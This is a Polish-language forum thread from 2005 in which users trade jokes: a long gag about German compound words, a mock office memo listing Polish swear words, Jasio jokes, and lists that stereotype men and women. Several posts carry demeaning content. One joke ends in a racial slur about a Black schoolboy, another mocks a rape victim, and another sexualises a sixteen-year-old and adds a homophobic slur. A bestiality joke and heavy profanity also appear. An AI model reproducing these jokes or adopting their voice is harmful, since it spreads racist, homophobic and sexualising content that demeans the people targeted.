Język niemiecki jest stosunkowo łatwy. Osoba obznajomiona z łaciną oraz z przypadkami, przyzwyczajona do odmiany rzeczowników, opanowuje go bez większych trudności. Tak w każdym razie twierdzą wszyscy nauczyciele niemieckiego podczas pierwszej lekcji. Następnie zaczyna się odmiana przez wszystkie der, des, den, dem, die, po czym słyszymy, że wszystko to tłumaczy się w sposób logiczny. Czyli jest łatwe.

Na początek, kupujemy podręcznik do niemieckiego.

To przepiękne wydanie, oprawione w płótno, zostało opublikowane w Dortmundzie i opowiada o obyczajach plemienia Hotentotów (auf Deutsch:
Hottentotten).

Ksiązka mówi o tym, iż kangury (Beutelratten) są chwytane i umieszczane w klatkach (Koffer) krytych plecionką (Lattengitter) po to by ich pilnować.

Klatki te nazywają się po niemiecku "klatki z plecionki"
(Lattengitterkoffer) zaś jeśli zawierają kangura, całość nazywa się:
Beutelrattenlattengitterkoffer. Pewnego dnia, Hotentoci zatrzymują mordercę (Attentater), oskarżonego o zabójstwo jednej matki (Mutter) hotentockiej (Hottentottenmutter), matki głupka i jąkały (Stottertrottel). Taka matka po niemiecku zwie się:
Hottentottenstottertrottelmutter, zaś jej zabójca nazywa się:
Hottentottenstottertrottelmutterattentater.

Policja chwyta mordercę i umieszcza go prowizorycznie w klatce na kangury (Beutelrattenlattengitterkoffer),lecz więźniowi udaje się uciec. Natychmiast rozpoczynają się poszukiwania. Nagle przybiega Hotentocki wojownik krzycząc:

- Złapałem zabójcę! (Attentater).

- Tak? Jakiego zabójcę? - pyta wódz.

- Beutelrattenlattengitterkofferattentater, - odpowiada wojownik.

- Jak to? Zabójcę, który jest w klatce na kangury z plecionki? - pyta Hotentocki wódz.

- To jest - odpowiada tubylec -

Hottentottenstottertrottelmutterattentater (zabójca hotentockiej matki głupiego i jąkającego się syna).

- Ależ oczywiście - rzecze wódz Hotentotów - mogłeś od razu mówić, że schwytałeś

Hottentottenstottertrottelmutterbeutelrattenlattengitterkofferattentater

snoop - 14-09-2005, 18:30

VooDoo_73 napisał/a:
Hottentottenstottertrottelmutterbeutelrattenlattengitterkofferattentater


Jak dobrze że można bezpośrednio cytwać :)

Wyraz ten na myśl przywodzi mi jeden ze skeczy Monty Pythonów z panem:
Johannem Gambolputtym de von Ausfern-schplenden-schlitter-crasscrenbon-fried-digger-dingle-dangle-dongle-dungle-burstein-von-knacker-thrasher-apple-banger-
horowitz-ticolensic-grander-knotty-spelltinkle-grandlich-grumblemeyer-spelterwasser-kurstlich-himbleeisen-bahnwagen-gutenabend-
bitte-ein-nurnburger-bratwustle-gernspurten-mitz-weimache-luber-hundsfut-gumberaber-shonedanker-kalbsfleisch-mittler-aucher von Hautkopft z Ulm

A jak to brzmi w całku? Dowiesz się tutaj

martin - 14-09-2005, 19:39

VooDoo_73 napisał/a:
Język niemiecki jest stosunkowo łatwy.


Tyle ze to z niemieckim nie ma wiele wspolnego.

IMO jeden z swietniejszych wyrazow to "SeitenscheibenentfrosterdĂźse" :)

VooDoo_73 - 14-09-2005, 19:46

Jasne, że nie ma. Tak trudno się zorientować? Przecież to mówili Hotentoci... (Hottentotten)
Jackolini - 21-09-2005, 10:48

Czterech żonatych mężczyzn w niedzielne przedpołudnie gra w golfa. Przy 3-cim dołku jeden z nich mówi:
- Nie macie pojęcia co musiałem przejść, żeby dzisiaj z wami zagrać.Musiałem obiecać żonie, że w przyszły weekend pomaluję cały dom.
Na to drugi: - To jeszcze nic, ja musiałem obiecać, że wykopię w ogródku basen...
Trzeci:- I tak macie dobrze... ja będę musiał przejść całkowity remont kuchni...
Czwarty z graczy nie odezwał się ani słowem, ale oczywiście pozostali nie dali mu spokoju:
- A ty czemu nic nie mówisz? Nie musiałeś nic obiecać żonie żeby cię puściła??
- Nie - odparł czwarty - ja po prostu nastawiłem budzik na 5:30 rano, gdy zadzwonił, to szturchnąłem żonę i spytałem: "Seksik czy golfik ??" W odpowiedzi usłyszałem: "Odpie*dol się, kije są w szafie..."


Jasio idzie z mamą do sklepu. Przed sklepem widzi pijaka z krzywymi nogami. I głośno mówi do mamy:
- Mamo, ale ten pan ma krzywe nogi!
- Jasiu, ale tak nie wolno! Możesz tego pana obrazić! Następnego dnia Jasio znowu idzie z mamą do sklepu, widzi tego samego faceta z krzywymi nogami i głośno mówi:
- Ale ten pan ma krzywe nogi!
Wtedy mama już straciła cierpliwość i mówi do Jasia:
- Jasiu, ile mam ci powtarzać że tak nie wolno! Za karę będziesz siedzieć w domu i nie wyjdziesz dopóki nie przeczytasz Szekspira.
Po trzech miesiącach Jasio znowu idzie z mamą do sklepu i widząc faceta z krzywymi nogami mówi:
- Cóż to za moda nastała w tych czasach, żeby swe jaja nosić w nawiasach.


W szkole pani nauczycielka zadała dzieciom pracę domową - wymyśleć jakiś fajny kolor. Jasiu cały dzień się zastanawia, myśli, kombinuje...
- Mam! Kanarkowożółty!
Ale myśli sobie - Małgosia jest najlepszą uczennicą, jak ona też wymyśli kanarkowożółty? Trzeba do niej zadzwonić. Jak pomyślał tak zrobił.
- Cześć Małgośka, jaki kolorek sobie wykombinowałaś ?
- Kanarkowożółty.
- Aha... no to cześć...
Jasiu lekko podłamany, ale cóż tu robić, myśli nad innym kolorem.
- Bladoniebieski! Tak! Bladoniebieski! Ale zadzwonię jeszcze do Mikołaja, bo może się powtórzyć cała sytuacja.
- Yo Miki! Jaki kolor zapodajesz?
- Cziekierap Jaśko! Bladoniebieski
- Uuuu... no to strzałka.
Jasio lekko podłamany, ale nagle olśnienie:
- Krwistoczerwony! Extra, krwistoczerwony to jest to!
Cały dzień chodzi powtarzając "krwistoczerwony", "krwistoczerwony"... Przed snem - "krwistoczerwony".
Rano - "krwistoczerwony". Całą drogę do szkoły powtarza sobie "krwistoczerwony",
"krwistoczerwony"
Nadszedł czas lekcji. Pani zwraca się do uczniów.
- Mieliście zadanie domowe, to może Małgosia.
- Kanarkowożółty.
- Ślicznie. Mikołaj?
- Bladoniebieski.
- Piękny kolor.
W tym momencie otwierają się drzwi do klasy, w nich staje Dyrektor z małym murzynkiem.
- Drogie dzieci to jest Dżordż i w ramach wymiany uczniów będzie u nas przez miesiąc.
- To może Dżordż wymyślisz na poczekaniu jakiś kolor? - sugeruje pani nauczycielka.
- Hmmm! Krwistoczerwony?
- Wspaniale Dżordż. Jasiu, twoja kolej.
- Je*any czarny.

Dziubek - 21-09-2005, 12:10

Rzecz działa się w niedalekiej przeszłości, podczas prywatyzacji jednego z polskich zakładów produkcyjnych. Do fabryki przyjechała delegacja ze znanej amerykańskiej firmy, aby na miejscu zapoznać się z problemami i zorientować się jak na żywo wygląda życie w firmie.

Manager ze swoją świtą obszedł już wszystkie zakamarki fabryki, porozmawiał z kilkoma uśmiechniętymi (i o dziwo znającymi doskonale język angielski) robotnikami, aż na koniec dotarł do hali produkcyjnej. Po chwili zauważył dwóch stojących naprzeciw siebie gości w zaplamionych kombinezonach, mocno gestykulujących i przekrzykujących warkot maszyn. "Pewnie rozmawiają o jakichś ważnych sprawach produkcyjnych" - pomyślał manager, skinął na swoją osobistą tłumaczkę i powiedział:

- Proszę podkraść się do nich niezauważenie, podsłuchać o czym mówią, przetłumaczyć na angielski i wieczorem dostarczyć mi spisaną rozmowę. Jestem przecież fachowcem i zdaję sobie sprawę z tego, że więcej dowiem się o problemach zakładu z takiej rozmowy, niż ze wszystkich papierów i ocen prywatyzacyjnych.

Wieczorem, po powrocie do hotelu zastał na łóżku kartkę z zapisem rozmowy:

Majster do robotnika: "...wstępuję w intymne związki seksualne z tobą i twoją mamą, ty, kobieta lekkich obyczajów, nawet gwałconej tokarki, kobieta lekkich obyczajów, nie możesz, kobieta lekkich obyczajów, prawidłowo włączyć. Dyrektor, kobieta lekkich obyczajów, polecił w żeński organ rozrodczy, kobieta lekkich obyczajów, wejść z tobą w intymne związki seksualne w tylnej linii bioder, kobieta lekkich obyczajów, jeśli przez ciebie pasywny homoseksualisto znowu nie wykonamy, kobieta lekkich obyczajów, tego nie podobnego do męskiego organu rozrodczego planu, kobieta lekkich obyczajów, który musi zrobić gwałcona z tyłu w linii bioder fabryka."

Robotnik do majstra: "Majster to mógł wstąpić w intymne związki seksualne ze swoją mamusią, ja już wstąpiłem w intymne związki seksualne w tylnej linii bioder z panem dyrektorem, i nie będę wchodził w takie związki, kobieta lekkich obyczajów z gwałconymi tokarkami. A co najważniejsze na męskim organie rozrodczym wiszą mi wszystkie, kobieta lekkich obyczajów, plany tego gwałconego zakładu."

amalcz - 21-09-2005, 12:53

Przychodzi baba do lekarza:
- Panie doktorze ciągle jestem wk***, wszyscy mnie wk***, a najbardziej wk*** mnie to, że wszystko mnie wk***, proszę mi pomóc!
- Czy próbowała Pani w jakiś sposób się wyciszyć, uspokoić, np.
spacery w lesie, parku wśród śpiewu ptaków, spacerując boso po trawie.
Kontakt z przyrodą bardzo pomaga...
- E tam, Panie Doktorze - ptaki mnie wk***, bo drą ryje, w trawie pełno
robactwa, pajęczyny, gałęzie zaczepiają o ubranie, nie, nie, przyroda mnie
wk***!
- To może inny sposób, np. kąpiel w wannie pełnej piany z aromaterapią, przy
nastrojowej muzyce?
- E tam, Panie Doktorze, tego też próbowałam - piana mnie wk*** bo
szczypie w oczy, muzyka mnie wk***, ta nastrojowa najbardziej mnie
wk***, a te olejki zapachowe, to dopiero wk***, kleją się, lepią,
plamią, nie, nie olejki najbardziej mnie wk***!
- No dobrze, to może sex. Jak wygląda Pani życie seksualne?
- Sex !? A co to takiego?
- Nie wie Pani co to sex !? No dobrze, zaraz Pani pokaże, proszę za parawan.
- Po chwili na parawanie lądują kolejne części garderoby:
spodnie, spódnica, kitel, bluzka, biustonosz, majtki. Po kolejnej chwili
słychać sapanie i wzdychania, wreszcie słychać głos kobiety:
- Panie Doktorze, proszę się zdecydować ?!!!! Pan wkłada czy wyciąga, bo już
mnie to zaczyna wk***!

IRA - 21-09-2005, 15:29

W pewnej firmie, prezes zarzadu byl mocno naciskany
przez managerow zeby jakos wplynal na zatrudnionych masowo w
firmie Polakow (cheap Polish people) bo oni nic tylko gadali po
polsku co zas bardzo negatywnie wplywalo na niesamowity i
blyskotliwy rozwoj firmy.

Efektem tych naciskow byl ten oto list:

To: All Polish Speaking Staff
Subject: Improper Language Usage
Importance: High

It has been brought to our attention by several managers and
also officials visiting our offices that Polish language is
commonly used by our Polish speaking staff. Such behavior is
violating our policy, is highly unprofessional and offensive to
both visitors and staff.
All personnel will immediately adhere to the following rules:

1. Words like jebal to pies, kurewska robota, a fee, a fee and
other such expressions will not be tolerated or used for
emphasis or dramatic effect, no matter how heated a discussion
may become.

2.You will not say a fee when someone makes a mistake, or
pocalujcie mnie w dupe if you see someone being reprehended, or
gowno when a major mistake has been made. All forms and
derivations of the verb srac and jebac are utterly
inappropriate and unacceptable in our environment.

3. No manager, section head administrator, supervisor or member
of staff under any circumstances will be referred to as a fee,
zajebaniec or a fee debil.

4. Lack of determination will not be referred to as srac or
olac nor will persons who lack initiative be referred to as
pedal.

5. Creative ideas offered by management are not to be referred
to as a fee or (cenzura) pomysly.

6. Do not say idz sie jebac if somebody is persistent, do not
add (cenzura), if a colleague is going through a difficult
situation. Furthermore, you must not say zjebalily to (refer to
item 2) nor wyjebiemy sie na tym when a matter becomes excessively
complicated.

7. When asking someone to leave you alone, you must not say
spierdalaj na drzewo nor should you ever substitute "May I help
you?" with "Czego a fee chcesz!?".

8. Under no circumstances should you ever call your industrial
partners kurewski dostawca or a fee DCF!

9. Do not say idzcie do pizdy z tym a fee when a relevant
project is presented to you, nor should you ever answer
a fee sie ode mnie or metrowy a fee ci w dupe when your
assistance is required.

10. You should never call partner representatives as zajebana
swinia or kurewski debil.

11. The normal behavior of our staff is not to be discussed in
terms such as a fee jebana, kurewskie bydle or a fee pedal.

12. Last but not least, after reading this note, please do not
say moga sobie wsadzic to w dupe!
Please keep hard copy for your records and information.


Thank you and best regards

Ogrood - 21-09-2005, 18:01

Przychodzi chłop do weterynarza:
- Doktorze, świnie nie chcą żreć!
- Cóż, musi je pan wziąć do lasu i przelecieć, to dobrze na nie wpływa.
Chłop zrobił, jak mu lekarz kazał, zapakował świnie do Żuka, wywiózł do lasu i po kolei przeleciał. Nie pomogło.
- Panie doktorze, dalej nie chcą żreć.
- Musi pan je zabrać w nocy.
Jak powiedział lekarz, tak chłop zrobił. Zapakował świnie do Żuka, wywiózł nocą do lasu i przeleciał po kolei. Wrócił zmęczony nad ranem i położył się spać. Za godzinę budzi go przerażona baba.
- Wstawaj, stary! Wstawaj!
- Co?
- Świnie!
- Żrą?
- Nie! Siedzą w Żuku i trąbią.

tsharny - 22-09-2005, 19:29

Programista rozmawia ze swoimi przyjaciólmi‚mi po fachu:
- Wczoraj w nocnym klubie poznałem świetną… blondynnkę
- Och Ty szczęściarzu!
- Zaprosiłem ją… do siebie, wypiliśmy trochę, zaczłem ją… dotykać...
- I co? I co?
- No a ona mówi: "Rozbierz mnie!"
- Nie może być!
- Zdjąłem z niej spódniczkę, potem majteczki, położyłem na stole tuż obok
laptopa...
- Nie gadaj! Kupiłeś laptopa? A jaki procesor?

pozdrawiam
tsharny

[ Dodano: 23-09-2005, 12:28 ]
*****************************************************************************

Przychodzi Jasiek do spowiedzi:
* Proszę księdza uprawiałem sex oralny.
* O ciężki grzech. A z kim?
* Nie mogę księdzu powiedzieć .
* Może z Kryśką od Zarębów?
* Nie
* A może z Kaśką od Kowali?
* Nie
* Powiedz bo rozgrzeszenia nie dostaniesz!
* No naprawdę nie mogę proszę księdza.
* To może z Zośką od Graboszy?
* Nie
* Idź, nie dam Ci rozgrzeszenia.
Wychodzi chłopak z kościoła - czekają na niego kumple:
* I co? Dostałeś rozgrzeszenie?
* Nie. Ale mam parę namiarów.

*****************************************************************************

Kobitka poszła do dentysty. Leży na fotelu. W ustach gaziki, facio
dłubie jej w zębach. Krew się leje, pot i łzy. Nagle - telefon.
Dzwoni i dzwoni. Kobitka bezradna. Dentysta w końcu się zlitował.
Bierze komórkę:
- Halo... Kto mówi?
- Jak kto, kto mówi?! MĄŻ!
- Aaaa... Mąż... OK., zaraz kończymy. Żona tylko wypluje i natychmiast oddzwoni.

******************************************************************************

Mistrz Polski w skokach spadochronowych wspomina swój "pierwszy raz".
- Wyskoczyłem z samolotu i poczułem się jak ptak...
- Taki wolny ? - przerywa jeden ze słuchaczy.
- Nie po prostu leciałem i srałem..

******************************************************************************

Trzy fazy otyłości męskiej:
a) nie widać, jak wisi;
b) nie widać, jak stoi;
c) nie widać kto ciągnie.

******************************************************************************

Jasiek przed slubem bardzo prosil swoja Hanusie, zeby mu sie oddala
przed slubem.
* Jasiu, nie oddam ci sie, bo chce byc do slubu czysta jak lilia..., a
poza tym to po seksie zawsze mnie glowa boli...

********************************************************************

Przychodzi blondynka do punktu ksero i podaje dyskietkę:
* Z czego to ma być wydruk? - pyta pan z obsługi.
* Z internetu...

*******************************************************************

Jest mała parafialna wioska, przez którą przebiega jedna z
najważniejszych
dróg w kraju, przy tej szosie kiądz i kościelny umieszczaja tablicę z
wielkim napisem: NAWRÓC SIĘ KONIEC JUŻ BLISKO. Po chwili obok nich
zatrzymuje się przejeżdzający samochód, wychodzi z niego facet i mówi:
* Nie możecie nas zostawić w spokoju fanatycy religijni?! - po czym
odjeżdża. Po chwili slychać głosny trzask i wybuch.
Nagle kościelny mówi:
* A może napiszemy po prostu: UWAGA! MOST USZKODZONY ?

Pietka - 27-09-2005, 11:10

Kilka, które wpadły mi teraz do głowy. Może nie są "najświeższe" ale nie znalazłem ich tutaj.
1. Przychodzi baba do lekarza z nożem w kolanie:
- Co się Pani stało?
- Chciałam popełnić smobójstwo...
- Więc dlaczego wbiła Pani nóż w kolano
- Sąsiadka doradziła mi, abym wbijała dwa palce poniżej lewej piersi.

2. Przychodzi baba do lekarza:
- Panie doktorze, mam dwa kręgosłupy !!!
- niemożliwe !!!
- Proszę, oto prześwietlenie....
..
..
- szanowna Pani, tampony należy wyciągać za sznureczek, a nie wpychać jeden po drugim

3. Zgwałcona kobieta podczas przesłuchania:
- czy ten mężczyzna wcześniej Panią napastował?
- nie, posuwał mnie na sucho...

4. Zasłyszane w RadioZ:
Żona do męża:
Wiesz co, jesteś straszna pierdoła, jesteś taka pierdoła, że już gorszej na świecie nie ma, a w konkursie na największego pierdołę zajął byś drugie miejsce..
- jak to? dlaczego dopiero drugie?
- bo właśnie taka jesteś pierdoła

5. Trzech facetów przechwala się co kupili swoim żonom na rocznicę śubu:
- pierwszy: ja swojej kupiłem futro z norek
- drugi ja swojej kupiłem samochód
- trzeci: a ja kupiłem beret i wibrator
- jak to? dlaczego?
- nie chciała beretu, to niech się p.....doli.

6. Trzech facetów przechwala się jak doprowadzają swoje żony w łużku do szału:
- pierwszy: lampka wina, długa gra wstępna, pieszczotki, potem ją bzykam i wtedy ona dostaje szału
- drugi: ja też zaczynam od wina, ale polewam ją i zlizuję, potem ją bzykam i wtedy ona dostaje szału
- trzeci: a ja na odwrót, najpierw ją bzykam, potem małego wycieram w firankę i wtedy ona dostaje szału...

Pozdrawiam, :22:

IRA - 29-09-2005, 15:55

Nauczyciel pyta dzieci na lekcji:
- Co to jest rarytas?
- Rarytas to jest pomarańcza - powiedziała Kasia.
- No i co jeszcze? - zapytał klasy nauczyciel.
Karol podnosi rękę i mówi:
- Rarytas to jest czekolada.
- Dobrze! Czy coś jeszcze? - pyta nauczyciel.
Jasiu podnosi rękę i mówi:- Rarytas proszę pana, to jest dupa szesnastolatki.Nauczyciel oburzony wyrzucił go z lekcji i
kazał mu przyjść na drugi dzień z ojcem. Na drugi dzień Jasio
wszedł do klasy i bardzo szybko pobiegł do ostatniej ławki, i usiadł
bez słowa. Podszedł do niego nauczyciel i zapytał:
- Czemu tak od razu uciekłeś do os taniej ławki i gdzie masz ojca?!
- Tata nie przyjdzie. Powiedział mi, że jeżeli dla pana dupa
szesnastolatki nie jest rarytasem, to jest pan pedałem i kazał mi się trzymać
od pana z daleka.



- Dowiedziono, że na ogół żony odchodzą od mężów alkoholików - mowi prelegent.
Głos z sali:
- A ile trzeba wypić?


Szefowie największych banków zorganizowali mistrzostwa świata we włamywaniu
się do sejfu. Zasada była taka:
Reprezentacja kraju ma minutę na włamanie się do sejfu przy zgaszonym
świetle.
Po minucie zapala się światło, co jest równoznaczne z przegraną.
Pierwsi wystartowali Niemcy... mija minuta - nie udało się.
Następnie startują Hiszpanie... ta sama sytuacja. Potem Kolejni
Holendrzy, Szwedzi, Portugalczycy... nie udaje się nikomu.
W końcu startują Polacy... Po minucie pan wciska przycisk, ale światło
się nie zapala. Jeden Polak do drugiego:
- Rychu mamy tyle kasy, na ch** ci jeszcze ta żarówka?


- synku, jesteś taki niegrzeczny, weź przykład z tatusia
- mama, ale tata siedzi w więzieniu...
- tak, ale niedługo wyjdzie za dobre sprawowanie!


- Kochanie, znalazłem pod łóżkiem naszego syna takie pisemko
sado-maso,wiesz: związani ludzie, maski, pejcze... - mówi żona do męża -
- No i co zrobimy? - Nie wiem, ale klaps nie jest chyba najlepszym
pomysłem...

kraknur - 29-09-2005, 19:13

Przepis na kurczaka
Kurczaka, starannie umytego układamy na dnie naczynia, najlepiej
szklanego.

Dodajemy goździki, cynamon, a następnie skrapiamy
cytryną. Tak przygotowanego kurczaka zalewamy jedną szklanka wina białego
i jedną szklanka wina czerwonego. Dodajemy 100 ml ginu, 100 ml koniaku,
200 ml Smirnoffa i 50 ml białego rumu. Potrawy nie musimy poddawać obróbce
cieplnej, a kurczaka możliwie szybko wyrzucamy - bo jest do dupy, ...
natomiast sos ... sos? Soooss! Paluszki lizać!!

Aha, kurczaka najpierw należy zabić, bo bydlak wychleje co tylko się da

Sciborlo - 01-10-2005, 23:06

I pozamiatane :-D




I z tym optymistycznym akcentem idę spać ;-)

ania1311 - 02-10-2005, 22:59

,,Dlaczego wstydzi sie kobieta" - 5 powodów:

1. pierwszy raz gdy.. robi to po raz pierwszy...
2. drugi raz gdy....robi to po raz pierwszy ze swoim mężem...
3.trzeci raz gdy... robi to po raz pierwszy nie ze swoim mężem...
4. czwarty raz gdy ... po raz pierwszy bierze za to pieniadze...
5.piaty raz gdy...po raz pierwszy musi za to zapłacić...

Ryszard Szwajcer - 02-10-2005, 23:10

ania1311 napisał/a:
,,Dlaczego wstydzi sie kobieta" - 5 powodów:

1. pierwszy raz gdy.. robi to po raz pierwszy...
2. drugi raz gdy....robi to po raz pierwszy ze swoim mężem...
3.trzeci raz gdy... robi to po raz pierwszy nie ze swoim mężem...
4. czwarty raz gdy ... po raz pierwszy bierze za to pieniadze...
5.piaty raz gdy...po raz pierwszy musi za to zapłacić...


Z kolei facet wstydzi się w życiu tylko dwa razy:

Pierwszy raz, jak nie może drugi raz
Drugi raz, jak nie może juz pierwszy raz...

Pozdro Rychu

tsharny - 03-10-2005, 09:55

Przychodzi turysta do górala i mówi: - Góralu, powiedzcie: chrząszcz brzmi w trzcinie.
Góral na to: - Chrobok burcy w trowie.

pozdrawiam
tsharny

kraknur - 03-10-2005, 21:01

Kawaleria powietrzno-desantowa w samolocie. Ostatnie poprawki przy spadochronach, pełne skupienie. Nagle jeden z żołnierzy wstaje, podchodzi do instruktora i mówi:
- Nie będę dzisiaj skakać, sierżancie.
- Dlaczego? - pyta zdziwiony instruktor.
- Matka przysłała mi sms-a, że jej się śniłem i że mi się spadochron nie otworzył! Nie będę skakać.
- No dobra, zamienimy się spadochronami i wszystko będzie dobrze - zaproponował sierżant.
Jak powiedzieli tak zrobili.
Żołnierze jeden po drugim wyskakują z samolotu. Wyskakuje i ten od sms-a. Spadochron otworzył się normalnie, żołnierz odetchnął z ulgą i rozkoszuje się lotem. Nagle tuż obok sruuu, przelatuje ze świstem instruktor krzycząc:
- ..... twoja mać!!!!

ania1311 - 04-10-2005, 18:13

Idzie Jasio za trumna babci i płacze, tak bardzo płacze, ze dwie
> przyjaciółki zmarłej babci mówia do siebie:
> - Ale on musiał ta babcie kochać.
> Jedna z nich:
> - Zagadnę go powiem mu co i jak może się uspokoi.
> Podchodzi do Jasia i mówi:
> - Jasiu nie płacz babcia stara była i musiała umrzeć.
> A Jasio na to:
> - Ja mam w dupie babkę, ja chce na karawanie jechać.
>
> Ogłoszenie:
> Państwowe Przedsiębiorstwo Zwiazane z Ubezpieczeniami poszukuje
> managera z kilkuletnia praktyka w domach publicznych.
> -Po co?
> -Żeby mógł ten burdel ogarnać.
>
> Idzie kondukt pogrzebowy i niosa trumnę, ale nie na płask lecz na
> bok. Podchodzi do nich przygodny przechodzień i pyta zaciekawiony:
> - Dlaczego niesiecie tę trumnę na bok a nie na płask.
> - Bo jak niesiemy na płask to tesciowa bardzo chrapie.
>

[ Dodano: 05-10-2005, 00:43 ]
Jest to fragment autentycznego pamietnika faceta okolo "30"

"Jednym z moich problemów zyciowych sa skarpety. Problem dziur w skarpetach, singli walajacych sie po szufladzie, multikolorowosci itd.
Dosc, powiedzialem. Komunizm jest rozwiazaniem. Wyrzucilem stare
zróznicowane spoleczenstwo skarpeciane i wprowadzilem nowe na jego miejsce. Kupilem 10 par identycznych czarnych skarpet. Dziura, ok, jedna leci do kosza zastepuje ja druga. Brak pary, no problem, wszystkie sa
biseksualne, moga byc lewymi i prawymi. Nie bylo juz starych panien, dziurawych wyrzutków bez przyszlosci w szufladzie.
(...)
A gówno, powiedzialy skarpety i wyszly z pralki w róznych odcieniach >
czerni i porozciagane z rózna intensywnoscia. O kur... m.., powiedzialem ja gdy zobaczylem to juz wysuszone towarzystwo. Zasrani hipisi. Ale sie wladowalem. Faszyzm, tak faszyzm bedzie wyjsciem. Ten sam kolor, lepsza jakosc i rózne serie takich samych skarpet. Bylo lepiej. Do czasu. Zawsze z tej pieprzonej pralki wychodzily zdekompletowane. I zawsze w liczbie nieparzystej. Było niezle dopóki nie zostalo po jednej z kazdej serii. Czy one sa kanibalami? A moze mi spieprzaja oknem?

Pisze ten tekst, bo znowu kur.... siedze w dwóch róznych skarpetach."

Dziubek - 05-10-2005, 17:40

Dwa listy:

Pisze do Ciebie ten list, aby powiedziec, ze opuszczam Cie na dobre. Bylam dla Ciebie dobra kobieta przez ostatnie siedem lat i nie otrzymalam za to nic dobrego. Ostatnie dwa tygodnie byly dla mnie pieklem. Twój szef zadzwonil do mnie i powiedzial, ze rzuciles dzis robote. Ostatniego tygodnia wróciles do domu i nawet nie zauwazyles, ze mam nowa fryzure, pieknie zrobione paznokcie, przygotowalam Twoje ulubione mieso i mam na sobie nowa, piekna i kuszaca bielizne. Przyszedles sobie, zjadles w dwie minuty, i poszedles spac zaraz po obejrzeniu meczu. Nigdy nie mówiles mi tez, ze mnie kochasz czy czegos podobnego. Zatem albo mnie zdradzales, albo nigdy nie kochales. Ale to juz niewazne, poniewaz odchodze.

P.S. Jezeli masz ochote mnie szukac, to nie rób tego. Twój BRAT i ja przeprowadzilismy sie razem do Szczecina! Mamy nowe wspaniale zycie!

Twoja Byla Malzonka.




Droga Byla Malzonko:

W zyciu nie spotkalo mnie nic wspanialszego niz Twój list. To prawda, ze bylismy malzenstwem przez siedem lat, jednak do dobrej kobiety bylo Ci naprawde daleko. Ogladalem mecze za kazdym razem, kiedy epatowalas mnie swoja zalosna nagoscia, chodzac po domu w bieliznie, aby na to nie patrzec. Szkoda ze to nie dzialalo. Zauwazylem kiedy obcielas wlosy w ubieglym tygodniu i pierwsza rzecza, która pomyslalem bylo "wygladasz jak facet!". Moja matka nauczyla mnie, zeby lepiej nie mówic nic, kiedy nie jestem w stanie powiedziec czegos milego. Kiedy przygotowywalas moje ulubione mieso, musialas pomylic mnie z MOIM BRATEM, poniewaz zaprzestalem jedzenia wieprzowiny juz siedem lat temu. Poszedlem sobie spac, kiedy zobaczylem Twoja nowa bielizne, poniewaz byla na niej jeszcze metka z cena. Modlilem sie, zeby to byl przypadek, ze tego samego dnia, którego rano pozyczylem mojemu bratu dwiescie zlotych, Twoja bielizna miala na metce 199,99 zl. Po tym wszystkim nadal Cie kochalem i czulem, ze jeszcze mozemy to naprawic. Zatem kiedy zorientowalem sie, ze wlasnie wygralem w totka dziesiec milionów, rzucilem robote i zakupilem dwa bilety na Jamajke. Kiedy jednak przyszedlem do domu, Ciebie juz nie bylo. Jak sadze, wszystko to stalo sie nie bez powodu. Mam nadzieje, ze wlasnie ulozylas sobie zycie, tak jak zawsze chcialas. Mój prawnik powiedzial, ze list, który do mnie napisalas jest wystarczajacym powodem, aby orzec rozwód z Twojej winy i nie dzielic majatku. Zatem trzymaj sie.

P.S. Nie wiem czy Ci mówilem, ze mój brat Karol urodzil sie jako Karolina. Mam nadzieje, ze to nie problem.

Podpisano - Bogaty Jak C**j i Wolny!

ania1311 - 06-10-2005, 17:01

„Dziewięć typów facetów

TYP I - CZUŁY JAŚ: "Jak tylko skończę zmywanie naczyń, to się przytulimy, dobrze?”
ZNANY TAKŻE JAKO: Pan Milutki, Oddany Rodzinie, Kochanie Moje, Jaja-Na-Miękko
ZALETY: bardzo dobrze wytresowany – prasuje własne koszule, a nawet prześcieradła
WADY: irytująco zgodny mięczak

TYP II - STARY PIERNIK: "Ludzie to są dopiero głupi! Świat może się wypchać!
Mam to w d**ie! Zostańmy w domu i obejrzyjmy coś w TV”
ZNANY TAKŻE JAKO: Nudziarz, Maruda, Zero Zabawy, Palant, Powolniak
ZALETY: nie zdradza i łatwo go przewidzieć
WADY: potrafi NAPRAWDĘ zaleźć za skórę...

TYP III - PRZEPRASZAM BARDZO: "Tak bardzo, bardzo mi przykro... Czy mi
kiedykolwiek przebaczysz? Wybacz mi cokolwiek źle zrobiłem...”
ZNANY TAKŻE JAKO: Spokojny, Słaby Psychicznie, Wątły
ZALETY: łatwo coś na nim wymóc
WADY: łatwo można go przestraszyć, a podczas kłótni poddaje się bez walki...

TYP IV - PRYMITYW: "Zamknij się – próbuję myśleć.”
ZNANY TAKŻE JAKO: Neandertalczyk, Ignorant, Cham, the Hulk
ZALETY: można go łatwo wyrolować i się nie zorientuje...
WADY: ... a jeśli jednak się zorientuje to złamie Cię na pół,
niestety także poci się jak świnia

TYP V - LENIWIEC: "Zzzzzz”
ZNANY TAKŻE JAKO: Pasożyt, Obibok, Śpioch
ZALETY: dobrze wypoczęty i łatwy do trafienia talerzem
WADY: jakoś niechętnie spełnia Twoje życzenia...

TYP VI - NIEWINIĄTKO: "KTO?! Jaaaaa?!”
ZNANY TAKŻE JAKO: Casanova, Spryciarzyk, Wąż Zdradliwy, Ten Sk**wysyn
ZALETY: dobrze doświadczony w łóżku...
WADY: ...zazwyczaj nie z Tobą

TYP VII - MARZYCIEL: "Pewnego dnia będę niewyobrażalnie bogaty...
Jeszcze nie wiem jak, ale będę!”
ZNANY TAKŻE JAKO: Bezrobotny Artysta, Filozof, Bufon, Wiatr Na Polu, Głupiec
ZALETY: opowiada świetne bajki dzieciom...
WADY: oraz Tobie, po latach zamieni się w Starego Piernika

TYP VIII - NAPALONY: "Może jak pozmywam naczynia, to się pokochamy?
Albo może w trakcie zmywania?!"
ZNANY TAKŻE JAKO: Zboczuch, Potwór, Nie Nasycony, PAN Wciąż-Mi-Mało
ZALETY: wciąż chce się kochać
WADY: wciąż chce się kochać

TYP IX - IDEAŁ: "Może podczas gdy służba zmywa, poszlibyśmy się pokochać w
naszym nowym jachcie? Oczywiście, tylko jeśli masz na to ochotę kochanie...”
ZNANY TAKŻE JAKO: Mr Perfect, Nadziany
ZALETY: odpowiedź Boga na modlitwy wielu kobiet.
WADY: gatunek na wyginięciu...”

Mania - 06-10-2005, 17:44

Nie wiem czy już było, ale mnie sie podoba:

Facet dzwoni do kobiety:
- Kochanie, wolisz banany czy truskawki?
- Jestes na bazarku????
- Nie, w aptece.

tsharny - 07-10-2005, 13:26

Polscy komentatorzy - cytaty

